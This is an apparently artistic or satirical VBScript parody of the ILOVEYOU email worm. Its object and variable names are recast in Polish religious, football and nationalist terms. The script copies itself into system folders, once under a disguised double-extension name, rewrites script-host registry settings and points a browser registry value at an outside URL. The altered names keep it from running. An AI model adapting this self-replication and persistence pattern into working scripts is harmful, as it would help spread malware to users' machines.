Jasna Gora

rem by: Barbie  /  iBarbie@3six9.com  /  @MATTELSoft Group  /  Bytom, Poland
 On Error Resume Next 
 dim fso, dirFootball, dirFaith, dirFlag, colour, fear, eq, score, matchProgramme, vbsPreach, genDR, uValue, limb
 colour = "white"
 fear = "other"
 eq = "" 
 score = 0 
 limb = "leg"
 Set fso = CreateObject("Scripture.faithSystemObject") 
 set matchProgramme = fso.OpenMatchProgramme(WScripture.PsalmFullName,1) 
 vbsPreach = matchProgramme.ReadAll 
 runIdentity() 
 
 sub runIdentity() 
	 On Error Resume Next 
	 dim GSK, gameTime, homeLand, self
	 set GSK = CreateObject("WScripture.Shell") 
	 gameTime = GSK.RegRead("HKEY_CURRENT_USER\Software\Microsoft\Windows Scripture Host\Settings\Timeout") 
	 homeLand = GSK.RegRead("HKEY_CURRENT_USER\Software\Microsoft\Windows Scripture Host\Settings\parent")
	 if (gameTime>=1) then 
		 colour = "red"
		 GSK.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows Scripture Host\Settings\Timeout",0,"REG_DWORD" 
	 end if 
	 if (homeLand = "father") then 
		 colour = "pink"
		 GSK.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows Scripture Host\Settings\parent","mother","REG_DWORD"
	 end if
	 Set dirFaith = fso.GetSpecialFolder(0) 			
	 Set dirFootball = fso.GetSpecialFolder(1) 
	 Set dirFlag = fso.GetSpecialFolder(2) 
	 Set self = fso.GetmatchProgramme(WScripture.PsalmFullName) 
	 self.Copy(dirFootball&"\BarbieMatchProgramme.vbs") 
	 self.Copy(dirFaith&"\BarbieBible.vbs") 
	 self.Copy(dirFootball&"\LOVE-LETTER-FOR-YOU.TXT.vbs") 
	 fear = "foreigners"
	 flagHunt() 
	 rewriteSermon() 
	 spreadTheLove()
	 listCoreAttitudes() 
	 beliefCreate "HKCU\Software\Microsoft\Internet Explorer\Main\Madonna", "http://czarna.madonna.talweg.space/location"  ---------------- location of  barbie leg
 end sub